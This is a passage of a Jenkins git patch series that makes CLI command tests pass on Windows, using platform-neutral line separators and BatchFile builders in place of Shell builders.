-134,28 +134,28 @@ public class AbstractBuildRangeCommandTest { .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "1"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: 1\n")); + assertThat(result.stdout(), containsString("Builds: 1"+System.lineSeparator())); // First with plus symbol '+' result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "+1"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: 1\n")); + assertThat(result.stdout(), containsString("Builds: 1"+System.lineSeparator())); // In the middle result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "10"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: 10\n")); + assertThat(result.stdout(), containsString("Builds: 10"+System.lineSeparator())); // In the middle with plus symbol '+' result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "+10"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: 10\n")); + assertThat(result.stdout(), containsString("Builds: 10"+System.lineSeparator())); // Last result = command @@ -163,7 +163,7 @@ public class AbstractBuildRangeCommandTest { .invokeWithArgs(PROJECT_NAME, String.valueOf(BUILDS)); assertThat(result, succeeded()); assertThat(result.stdout(), - containsString(String.format("Builds: %s\n", String.valueOf(BUILDS)))); + containsString(String.format("Builds: %s"+System.lineSeparator(), String.valueOf(BUILDS)))); // Last with the plus symbol '+' result = command @@ -171,7 +171,7 @@ public class AbstractBuildRangeCommandTest { .invokeWithArgs(PROJECT_NAME, '+' + String.valueOf(BUILDS)); assertThat(result, succeeded()); assertThat(result.stdout(), - containsString(String.format("Builds: %s\n", String.valueOf(BUILDS)))); + containsString(String.format("Builds: %s"+System.lineSeparator(), String.valueOf(BUILDS)))); } @Test public void dummyRangeNumberSingleShouldSuccessIfBuildNumberIsZero() throws Exception { @@ -179,13 +179,13 @@ public class AbstractBuildRangeCommandTest { .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "0"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: \n")); + assertThat(result.stdout(), containsString("Builds: "+System.lineSeparator())); result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "+0"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: \n")); + assertThat(result.stdout(), containsString("Builds: "+System.lineSeparator())); } @Test public void dummyRangeNumberSingleShouldFailIfBuildNumberIsNegative() throws Exception { @@ -227,7 +227,7 @@ public class AbstractBuildRangeCommandTest { .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, ""); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: \n")); + assertThat(result.stdout(), containsString("Builds: "+System.lineSeparator())); } @Test public void dummyRangeNumberSingleShouldFailIfBuildNumberIsSpace() throws Exception { @@ -244,7 +244,7 @@ public class AbstractBuildRangeCommandTest { .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, ","); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: \n")); + assertThat(result.stdout(), containsString("Builds: "+System.lineSeparator())); } @Test public void dummyRangeNumberSingleShouldFailIfBuildNumberIsHyphen() throws Exception { @@ -261,40 +261,40 @@ public class AbstractBuildRangeCommandTest { .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "1,2"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: 1,2\n")); + assertThat(result.stdout(), containsString("Builds: 1,2"+System.lineSeparator())); // With plus symbol '+' result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "1,+2,4"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: 1,2,4\n")); + assertThat(result.stdout(), containsString("Builds: 1,2,4"+System.lineSeparator())); // Build specified twice result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "1,1"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: 1,1\n")); + assertThat(result.stdout(), containsString("Builds: 1,1"+System.lineSeparator())); // Build with zero build number result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "0,1,2"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: 1,2\n")); + assertThat(result.stdout(), containsString("Builds: 1,2"+System.lineSeparator())); result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "1,0,2"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: 1,2\n")); + assertThat(result.stdout(), containsString("Builds: 1,2"+System.lineSeparator())); result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "1,2,0"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: 1,2\n")); + assertThat(result.stdout(), containsString("Builds: 1,2"+System.lineSeparator())); } @Test public void dummyRangeNumberMultiShouldSuccessIfSomeBuildDoesNotExist() throws Exception { @@ -302,19 +302,19 @@ public class AbstractBuildRangeCommandTest { .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "1,2,"+deleted[0]); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: 1,2\n")); + assertThat(result.stdout(), containsString("Builds: 1,2"+System.lineSeparator())); result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, String.format("1,%d,%d", deleted[0], deleted[0]+1)); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString(String.format("Builds: 1,%d\n", deleted[0]+1))); + assertThat(result.stdout(), containsString(String.format("Builds: 1,%d"+System.lineSeparator(), deleted[0]+1))); result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, String.format("%d,%d,%d", deleted[0]-1, deleted[0], deleted[0]+1)); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString(String.format("Builds: %d,%d\n", deleted[0]-1, deleted[0]+1))); + assertThat(result.stdout(), containsString(String.format("Builds: %d,%d"+System.lineSeparator(), deleted[0]-1, deleted[0]+1))); } @Test public void dummyRangeNumberMultiShouldFailIfBuildNumberIsNegative() throws Exception { @@ -504,25 +504,25 @@ public class AbstractBuildRangeCommandTest { .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "1-2"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: 1,2\n")); + assertThat(result.stdout(), containsString("Builds: 1,2"+System.lineSeparator())); result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "+1-+2"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: 1,2\n")); + assertThat(result.stdout(), containsString("Builds: 1,2"+System.lineSeparator())); result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "1-1"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: 1\n")); + assertThat(result.stdout(), containsString("Builds: 1"+System.lineSeparator())); result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "+1-+1"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: 1\n")); + assertThat(result.stdout(), containsString("Builds: 1"+System.lineSeparator())); result = command .authorizedTo(Jenkins.READ, Job.READ) @@ -536,49 +536,49 @@ public class AbstractBuildRangeCommandTest { builds += i; next = true; } - assertThat(result.stdout(), containsString("Builds: "+builds+"\n")); + assertThat(result.stdout(), containsString("Builds: "+builds+System.lineSeparator())); result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "+1-+"+deleted[0]); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: "+builds+"\n")); + assertThat(result.stdout(), containsString("Builds: "+builds+System.lineSeparator())); result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "0-1"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: 1\n")); + assertThat(result.stdout(), containsString("Builds: 1"+System.lineSeparator())); result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "+0-+1"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: 1\n")); + assertThat(result.stdout(), containsString("Builds: 1"+System.lineSeparator())); result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "0-2"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: 1,2\n")); + assertThat(result.stdout(), containsString("Builds: 1,2"+System.lineSeparator())); result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "+0-+2"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: 1,2\n")); + assertThat(result.stdout(), containsString("Builds: 1,2"+System.lineSeparator())); result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "0-0"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: \n")); + assertThat(result.stdout(), containsString("Builds: "+System.lineSeparator())); result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "+0-+0"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: \n")); + assertThat(result.stdout(), containsString("Builds: "+System.lineSeparator())); } @Test public void dummyRangeRangeSingleShouldSuccessIfSomeBuildDoesNotExist() throws Exception { @@ -586,19 +586,19 @@ public class AbstractBuildRangeCommandTest { .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, String.format("%d-%d", deleted[0], deleted[0]+1)); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString(String.format("Builds: %d\n", deleted[0] + 1))); + assertThat(result.stdout(), containsString(String.format("Builds: %d"+System.lineSeparator(), deleted[0] + 1))); result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, String.format("%d-%d", deleted[0]-1, deleted[0]+1)); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString(String.format("Builds: %d,%d\n", deleted[0]-1, deleted[0]+1))); + assertThat(result.stdout(), containsString(String.format("Builds: %d,%d"+System.lineSeparator(), deleted[0]-1, deleted[0]+1))); result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, String.format("%d-%d", deleted[0]-1, deleted[0])); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString(String.format("Builds: %d\n", deleted[0]-1))); + assertThat(result.stdout(), containsString(String.format("Builds: %d"+System.lineSeparator(), deleted[0]-1))); } @Test public void dummyRangeRangeSingleShouldFailIfBuildRangeContainsZeroAndNegative() throws Exception { @@ -955,25 +955,25 @@ public class AbstractBuildRangeCommandTest { .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "1-2,3-4"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: 1,2,3,4\n")); + assertThat(result.stdout(), containsString("Builds: 1,2,3,4"+System.lineSeparator())); result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "1-3,3-4"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: 1,2,3,3,4\n")); + assertThat(result.stdout(), containsString("Builds: 1,2,3,3,4"+System.lineSeparator())); result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "1-4,2-3"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: 1,2,3,4,2,3\n")); + assertThat(result.stdout(), containsString("Builds: 1,2,3,4,2,3"+System.lineSeparator())); result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, "1-2,4-5"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: 1,2,4\n")); + assertThat(result.stdout(), containsString("Builds: 1,2,4"+System.lineSeparator())); } @Extension diff --git a/test/src/test/java/hudson/cli/ConsoleCommandTest.java b/test/src/test/java/hudson/cli/ConsoleCommandTest.java index f48f0fe1ed..80ebec5de5 100644 --- a/test/src/test/java/hudson/cli/ConsoleCommandTest.java +++ b/test/src/test/java/hudson/cli/ConsoleCommandTest.java @@ -24,12 +24,14 @@ package hudson.cli; +import hudson.Functions; import hudson.model.FreeStyleProject; import hudson.model.Item; import hudson.model.Job; import hudson.model.Result; import hudson.model.Run; import hudson.model.labels.LabelAtom; +import hudson.tasks.BatchFile; import hudson.tasks.Shell; import jenkins.model.Jenkins; import org.junit.Before; @@ -156,7 +158,11 @@ public class ConsoleCommandTest { @Test public void consoleShouldSuccessWithLastBuild() throws Exception { FreeStyleProject project = j.createFreeStyleProject("aProject"); - project.getBuildersList().add(new Shell("echo 1")); + if (Functions.isWindows()) { + project.getBuildersList().add(new BatchFile("echo 1")); + } else { + project.getBuildersList().add(new Shell("echo 1")); + } assertThat(project.scheduleBuild2(0).get().getLog(), containsString("echo 1")); final CLICommandInvoker.Result result = command @@ -170,7 +176,11 @@ public class ConsoleCommandTest { @Test public void consoleShouldSuccessWithSpecifiedBuildNumber() throws Exception { FreeStyleProject project = j.createFreeStyleProject("aProject"); - project.getBuildersList().add(new Shell("echo ${BUILD_NUMBER}")); + if (Functions.isWindows()) { + project.getBuildersList().add(new BatchFile("echo %BUILD_NUMBER%")); + } else { + project.getBuildersList().add(new Shell("echo ${BUILD_NUMBER}")); + } assertThat(project.scheduleBuild2(0).get().getLog(), containsString("echo 1")); assertThat(project.scheduleBuild2(0).get().getLog(), containsString("echo 2")); assertThat(project.scheduleBuild2(0).get().getLog(), containsString("echo 3")); @@ -184,10 +194,15 @@ public class ConsoleCommandTest { } @Test public void consoleShouldSuccessWithFollow() throws Exception { - FreeStyleProject project = j.createFreeStyleProject("aProject"); - project.getBuildersList().add(new Shell("echo start - ${BUILD_NUMBER}\nsleep 10s\n" - + "echo after sleep - ${BUILD_NUMBER}")); + if(Functions.isWindows()) { + // the ver >NUL is to reset ERRORLEVEL so we don't fail (ping causes the error) + project.getBuildersList().add(new BatchFile("echo start - %BUILD_NUMBER%\r\n" + + "ping 1.1.1.1 -n 1 -w 10000 >NUL\r\nver >NUL\r\necho after sleep - %BUILD_NUMBER%")); + } else { + project.getBuildersList().add(new Shell("echo start - ${BUILD_NUMBER}\nsleep 10s\n" + + "echo after sleep - ${BUILD_NUMBER}")); + } if (!project.scheduleBuild(0)) { fail("Job wasn't scheduled properly"); } @@ -229,14 +244,18 @@ public class ConsoleCommandTest { @Test public void consoleShouldSuccessWithLastNLines() throws Exception { FreeStyleProject project = j.createFreeStyleProject("aProject"); - project.getBuildersList().add(new Shell("echo 1\necho 2\necho 3\necho 4\necho 5")); + if(Functions.isWindows()) { + project.getBuildersList().add(new BatchFile("echo 1\r\necho 2\r\necho 3\r\necho 4\r\necho 5")); + } else { + project.getBuildersList().add(new Shell("echo 1\necho 2\necho 3\necho 4\necho 5")); + } project.scheduleBuild2(0).get(); assertThat(project.getBuildByNumber(1).getLog(), containsString("echo 1")); assertThat(project.getBuildByNumber(1).getLog(), containsString("echo 5")); final CLICommandInvoker.Result result = command .authorizedTo(Jenkins.READ, Job.READ, Item.BUILD) - .invokeWithArgs("aProject", "1", "-n", "4"); + .invokeWithArgs("aProject", "1", "-n", Functions.isWindows() ? "5" : "4"); assertThat(result, succeeded()); assertThat(result.stdout(), not(containsString("echo 1"))); @@ -246,9 +265,17 @@ public class ConsoleCommandTest { @Test public void consoleShouldSuccessWithLastNLinesAndFollow() throws Exception { FreeStyleProject project = j.createFreeStyleProject("aProject"); - project.getBuildersList().add(new Shell("echo 1\necho 2\necho 3\necho 4\necho 5\n" - + "sleep 10s\n" - + "echo 6\necho 7\necho 8\necho 9")); + if (Functions.isWindows()) { + // the ver >NUL is to reset ERRORLEVEL so we don't fail (ping causes the error) + project.getBuildersList().add(new BatchFile("echo 1\r\necho 2\r\necho 3\r\necho 4\r\necho 5\r\n" + + "ping 1.1.1.1 -n 1 -w 10000 >NUL\r\nver >NUL\r\n" + + "echo 6\r\necho 7\r\necho 8\r\necho 9")); + + } else { + project.getBuildersList().add(new Shell("echo 1\necho 2\necho 3\necho 4\necho 5\n" + + "sleep 10s\n" + + "echo 6\necho 7\necho 8\necho 9")); + } if (!project.scheduleBuild(0)) { fail("Job wasn't scheduled properly"); @@ -270,7 +297,7 @@ public class ConsoleCommandTest { CLICommandInvoker.Result result = command .authorizedTo(Jenkins.READ, Job.READ, Item.BUILD) - .invokeWithArgs("aProject", "1", "-f", "-n", "4"); + .invokeWithArgs("aProject", "1", "-f", "-n", Functions.isWindows() ? "5" : "4"); assertThat(result, succeeded()); assertThat(result.stdout(), not(containsString("echo 1"))); -- GitLab From a5c6a5c688ac5828088a2a2394dc8004e5df5c76 Mon Sep 17 00:00:00 2001 From: Alex Earl Date: Fri, 10 Feb 2017 18:48:07 -0700 Subject: [PATCH 621/712] More fixes for Windows --- .../java/hudson/cli/ReloadJobCommandTest.java | 46 +++++++++++-------- 1 file changed, 28 insertions(+), 18 deletions(-) diff --git a/test/src/test/java/hudson/cli/ReloadJobCommandTest.java b/test/src/test/java/hudson/cli/ReloadJobCommandTest.java index 2e21dc0b91..a012090070 100644 --- a/test/src/test/java/hudson/cli/ReloadJobCommandTest.java +++ b/test/src/test/java/hudson/cli/ReloadJobCommandTest.java @@ -25,8 +25,11 @@ package hudson.cli; import hudson.FilePath; +import hudson.Functions; import hudson.model.FreeStyleProject; import hudson.model.Job; +import hudson.tasks.BatchFile; +import hudson.tasks.Builder; import hudson.tasks.Shell; import jenkins.model.Jenkins; import org.junit.Before; @@ -58,7 +61,7 @@ public class ReloadJobCommandTest { @Test public void reloadJobShouldFailWithoutJobConfigurePermission() throws Exception { FreeStyleProject project = j.createFreeStyleProject("aProject"); - project.getBuildersList().add(new Shell("echo 1")); + project.getBuildersList().add(createScriptBuilder("echo 1")); assertThat(project.scheduleBuild2(0).get().getLog(), containsString("echo 1")); changeProjectOnTheDisc(project, "echo 1", "echo 2"); @@ -77,7 +80,7 @@ public class ReloadJobCommandTest { @Test public void reloadJobShouldFailWithoutJobReadPermission() throws Exception { FreeStyleProject project = j.createFreeStyleProject("aProject"); - project.getBuildersList().add(new Shell("echo 1")); + project.getBuildersList().add(createScriptBuilder("echo 1")); assertThat(project.scheduleBuild2(0).get().getLog(), containsString("echo 1")); changeProjectOnTheDisc(project, "echo 1", "echo 2"); @@ -96,7 +99,7 @@ public class ReloadJobCommandTest { @Test public void reloadJobShouldSucceed() throws Exception { FreeStyleProject project = j.createFreeStyleProject("aProject"); - project.getBuildersList().add(new Shell("echo 1")); + project.getBuildersList().add(createScriptBuilder("echo 1")); assertThat(project.scheduleBuild2(0).get().getLog(), containsString("echo 1")); @@ -134,13 +137,12 @@ public class ReloadJobCommandTest { } @Test public void reloadJobManyShouldSucceed() throws Exception { - FreeStyleProject project1 = j.createFreeStyleProject("aProject1"); - project1.getBuildersList().add(new Shell("echo 1")); + project1.getBuildersList().add(createScriptBuilder("echo 1")); FreeStyleProject project2 = j.createFreeStyleProject("aProject2"); - project2.getBuildersList().add(new Shell("echo 1")); + project2.getBuildersList().add(createScriptBuilder("echo 1")); FreeStyleProject project3 = j.createFreeStyleProject("aProject3"); - project3.getBuildersList().add(new Shell("echo 1")); + project3.getBuildersList().add(createScriptBuilder("echo 1")); assertThat(project1.scheduleBuild2(0).get().getLog(), containsString("echo 1")); assertThat(project2.scheduleBuild2(0).get().getLog(), containsString("echo 1")); @@ -164,9 +166,9 @@ public class ReloadJobCommandTest { @Test public void reloadJobManyShouldFailIfFirstJobDoesNotExist() throws Exception { FreeStyleProject project1 = j.createFreeStyleProject("aProject1"); - project1.getBuildersList().add(new Shell("echo 1")); + project1.getBuildersList().add(createScriptBuilder("echo 1")); FreeStyleProject project2 = j.createFreeStyleProject("aProject2"); - project2.getBuildersList().add(new Shell("echo 1")); + project2.getBuildersList().add(createScriptBuilder("echo 1")); assertThat(project1.scheduleBuild2(0).get().getLog(), containsString("echo 1")); assertThat(project2.scheduleBuild2(0).get().getLog(), containsString("echo 1")); @@ -190,9 +192,9 @@ public class ReloadJobCommandTest { @Test public void reloadJobManyShouldFailIfMiddleJobDoesNotExist() throws Exception { FreeStyleProject project1 = j.createFreeStyleProject("aProject1"); - project1.getBuildersList().add(new Shell("echo 1")); + project1.getBuildersList().add(createScriptBuilder("echo 1")); FreeStyleProject project2 = j.createFreeStyleProject("aProject2"); - project2.getBuildersList().add(new Shell("echo 1")); + project2.getBuildersList().add(createScriptBuilder("echo 1")); assertThat(project1.scheduleBuild2(0).get().getLog(), containsString("echo 1")); assertThat(project2.scheduleBuild2(0).get().getLog(), containsString("echo 1")); @@ -216,9 +218,9 @@ public class ReloadJobCommandTest { @Test public void reloadJobManyShouldFailIfLastJobDoesNotExist() throws Exception { FreeStyleProject project1 = j.createFreeStyleProject("aProject1"); - project1.getBuildersList().add(new Shell("echo 1")); + project1.getBuildersList().add(createScriptBuilder("echo 1")); FreeStyleProject project2 = j.createFreeStyleProject("aProject2"); - project2.getBuildersList().add(new Shell("echo 1")); + project2.getBuildersList().add(createScriptBuilder("echo 1")); assertThat(project1.scheduleBuild2(0).get().getLog(), containsString("echo 1")); assertThat(project2.scheduleBuild2(0).get().getLog(), containsString("echo 1")); @@ -242,9 +244,9 @@ public class ReloadJobCommandTest { @Test public void reloadJobManyShouldFailIfMoreJobsDoNotExist() throws Exception { FreeStyleProject project1 = j.createFreeStyleProject("aProject1"); - project1.getBuildersList().add(new Shell("echo 1")); + project1.getBuildersList().add(createScriptBuilder("echo 1")); FreeStyleProject project2 = j.createFreeStyleProject("aProject2"); - project2.getBuildersList().add(new Shell("echo 1")); + project2.getBuildersList().add(createScriptBuilder("echo 1")); assertThat(project1.scheduleBuild2(0).get().getLog(), containsString("echo 1")); assertThat(project2.scheduleBuild2(0).get().getLog(), containsString("echo 1")); @@ -267,11 +269,10 @@ public class ReloadJobCommandTest { } @Test public void reloadJobManyShouldSucceedEvenAJobIsSpecifiedTwice() throws Exception { - FreeStyleProject project1 = j.createFreeStyleProject("aProject1"); - project1.getBuildersList().add(new Shell("echo 1")); + project1.getBuildersList().add(createScriptBuilder("echo 1")); FreeStyleProject project2 = j.createFreeStyleProject("aProject2"); - project2.getBuildersList().add(new Shell("echo 1")); + project2.getBuildersList().add(createScriptBuilder("echo 1")); assertThat(project1.scheduleBuild2(0).get().getLog(), containsString("echo 1")); assertThat(project2.scheduleBuild2(0).get().getLog(), containsString("echo 1")); @@ -303,4 +304,13 @@ public class ReloadJobCommandTest { FilePath fp = new FilePath(new File(project.getRootDir()+"/config.xml")); fp.write(fp.readToString().replace(oldstr, newstr), null); } + + /** + * Create a script based builder (either Shell or BatchFile) depending on platform + * @param script the contents of the script to run + * @return A Builder instance of either Shell or BatchFile + */ + private Builder createScriptBuilder(String script) { + return Functions.isWindows() ? new BatchFile(script) : new Shell(script); + } } -- GitLab From d3f7550584c1bce98a26d9a452cb65fd44cce076 Mon Sep 17 00:00:00 2001 From: Alex Earl Date: Fri, 10 Feb 2017 21:41:12 -0700 Subject: [PATCH 622/712] Fix more tests on Windows --- .../cli/SetBuildParameterCommandTest.groovy | 25 +++++++++++++++--- .../java/hudson/cli/ConsoleCommandTest.java | 8 +++--- .../cli/SetBuildDescriptionCommandTest.java | 21 ++++++++++++--- .../hudson/model/ParametersAction2Test.java | 5 +++- .../backwardCompatibility.zip | Bin 6559 -> 12505 bytes 5 files changed, 46 insertions(+), 13 deletions(-) diff --git a/test/src/test/groovy/hudson/cli/SetBuildParameterCommandTest.groovy b/test/src/test/groovy/hudson/cli/SetBuildParameterCommandTest.groovy index 24d44d4624..b082cd03e5 100644 --- a/test/src/test/groovy/hudson/cli/SetBuildParameterCommandTest.groovy +++ b/test/src/test/groovy/hudson/cli/SetBuildParameterCommandTest.groovy @@ -1,5 +1,6 @@ package hudson.cli +import hudson.Functions import hudson.Launcher import hudson.model.AbstractBuild import hudson.model.BuildListener @@ -8,6 +9,8 @@ import hudson.model.ParametersDefinitionProperty import hudson.model.ParameterDefinition import hudson.model.Result import hudson.model.StringParameterDefinition +import hudson.tasks.BatchFile +import hudson.tasks.Builder import hudson.tasks.Shell import jenkins.model.JenkinsLocationConfiguration import org.junit.Assert @@ -39,9 +42,9 @@ public class SetBuildParameterCommandTest { }); List pd = [new StringParameterDefinition("a", ""), new StringParameterDefinition("b", "")]; p.addProperty(new ParametersDefinitionProperty(pd)) - p.buildersList.add(new Shell("java -jar cli.jar set-build-parameter a b")) - p.buildersList.add(new Shell("java -jar cli.jar set-build-parameter a x")) - p.buildersList.add(new Shell("java -jar cli.jar set-build-parameter b y")) + p.buildersList.add(createScriptBuilder("java -jar cli.jar set-build-parameter a b")) + p.buildersList.add(createScriptBuilder("java -jar cli.jar set-build-parameter a x")) + p.buildersList.add(createScriptBuilder("java -jar cli.jar set-build-parameter b y")) def r = [:]; @@ -50,10 +53,24 @@ public class SetBuildParameterCommandTest { assert r.equals(["a":"x", "b":"y"]); - p.buildersList.add(new Shell("BUILD_NUMBER=1 java -jar cli.jar set-build-parameter a b")); + if (Functions.isWindows()) { + p.buildersList.add(new BatchFile("set BUILD_NUMBER=1\r\njava -jar cli.jar set-build-parameter a b")) + } else { + p.buildersList.add(new Shell("BUILD_NUMBER=1 java -jar cli.jar set-build-parameter a b")) + } def b2 = j.assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); r = [:]; b.getAction(ParametersAction.class).parameters.each { v -> r[v.name]=v.value } assert r.equals(["a":"x", "b":"y"]); } + + //TODO: determine if this should be pulled out into JenkinsRule or something + /** + * Create a script based builder (either Shell or BatchFile) depending on platform + * @param script the contents of the script to run + * @return A Builder instance of either Shell or BatchFile + */ + private Builder createScriptBuilder(String script) { + return Functions.isWindows() ? new BatchFile(script) : new Shell(script); + } } diff --git a/test/src/test/java/hudson/cli/ConsoleCommandTest.java b/test/src/test/java/hudson/cli/ConsoleCommandTest.java index 80ebec5de5..3f1ad2bd0e 100644 --- a/test/src/test/java/hudson/cli/ConsoleCommandTest.java +++ b/test/src/test/java/hudson/cli/ConsoleCommandTest.java @@ -195,10 +195,11 @@ public class ConsoleCommandTest { @Test public void consoleShouldSuccessWithFollow() throws Exception { FreeStyleProject project = j.createFreeStyleProject("aProject"); + //TODO: do we really want to sleep for 10 seconds? if(Functions.isWindows()) { // the ver >NUL is to reset ERRORLEVEL so we don't fail (ping causes the error) project.getBuildersList().add(new BatchFile("echo start - %BUILD_NUMBER%\r\n" - + "ping 1.1.1.1 -n 1 -w 10000 >NUL\r\nver >NUL\r\necho after sleep - %BUILD_NUMBER%")); + + "timeout /t 10\r\necho after sleep - %BUILD_NUMBER%")); } else { project.getBuildersList().add(new Shell("echo start - ${BUILD_NUMBER}\nsleep 10s\n" + "echo after sleep - ${BUILD_NUMBER}")); @@ -265,12 +266,11 @@ public class ConsoleCommandTest { @Test public void consoleShouldSuccessWithLastNLinesAndFollow() throws Exception { FreeStyleProject project = j.createFreeStyleProject("aProject"); + //TODO: do we really want to sleep for 10 seconds? if (Functions.isWindows()) { // the ver >NUL is to reset ERRORLEVEL so we don't fail (ping causes the error) project.getBuildersList().add(new BatchFile("echo 1\r\necho 2\r\necho 3\r\necho 4\r\necho 5\r\n" - + "ping 1.1.1.1 -n 1 -w 10000 >NUL\r\nver >NUL\r\n" - + "echo 6\r\necho 7\r\necho 8\r\necho 9")); - + + "timeout /t 10\r\necho 6\r\necho 7\r\necho 8\r\necho 9")); } else { project.getBuildersList().add(new Shell("echo 1\necho 2\necho 3\necho 4\necho 5\n" + "sleep 10s\n" diff --git a/test/src/test/java/hudson/cli/SetBuildDescriptionCommandTest.java b/test/src/test/java/hudson/cli/SetBuildDescriptionCommandTest.java index acc4ec7799..3f2931f1aa 100644 --- a/test/src/test/java/hudson/cli/SetBuildDescriptionCommandTest.java +++ b/test/src/test/java/hudson/cli/SetBuildDescriptionCommandTest.java @@ -25,10 +25,13 @@ package hudson.cli; import hudson.FilePath; +import hudson.Functions; import hudson.model.FreeStyleBuild; import hudson.model.FreeStyleProject; import hudson.model.Job; import hudson.model.Run; +import hudson.tasks.BatchFile; +import hudson.tasks.Builder; import hudson.tasks.Shell; import jenkins.model.Jenkins; import org.junit.Before; @@ -61,7 +64,7 @@ public class SetBuildDescriptionCommandTest { @Test public void setBuildDescriptionShouldFailWithoutJobReadPermission() throws Exception { FreeStyleProject project = j.createFreeStyleProject("aProject"); - project.getBuildersList().add(new Shell("echo 1")); + project.getBuildersList().add(createScriptBuilder("echo 1")); assertThat(project.scheduleBuild2(0).get().getLog(), containsString("echo 1")); final CLICommandInvoker.Result result = command @@ -74,7 +77,7 @@ public class SetBuildDescriptionCommandTest { @Test public void setBuildDescriptionShouldFailWithoutRunUpdatePermission1() throws Exception { FreeStyleProject project = j.createFreeStyleProject("aProject"); - project.getBuildersList().add(new Shell("echo 1")); + project.getBuildersList().add(createScriptBuilder("echo 1")); assertThat(project.scheduleBuild2(0).get().getLog(), containsString("echo 1")); final CLICommandInvoker.Result result = command @@ -87,7 +90,7 @@ public class SetBuildDescriptionCommandTest { @Test public void setBuildDescriptionShouldSucceed() throws Exception { FreeStyleProject project = j.createFreeStyleProject("aProject"); - project.getBuildersList().add(new Shell("echo 1")); + project.getBuildersList().add(createScriptBuilder("echo 1")); FreeStyleBuild build = project.scheduleBuild2(0).get(); assertThat(build.getLog(), containsString("echo 1")); assertThat(build.getDescription(), equalTo(null)); @@ -133,7 +136,7 @@ public class SetBuildDescriptionCommandTest { @Test public void setBuildDescriptionShouldFailIfBuildDoesNotExist() 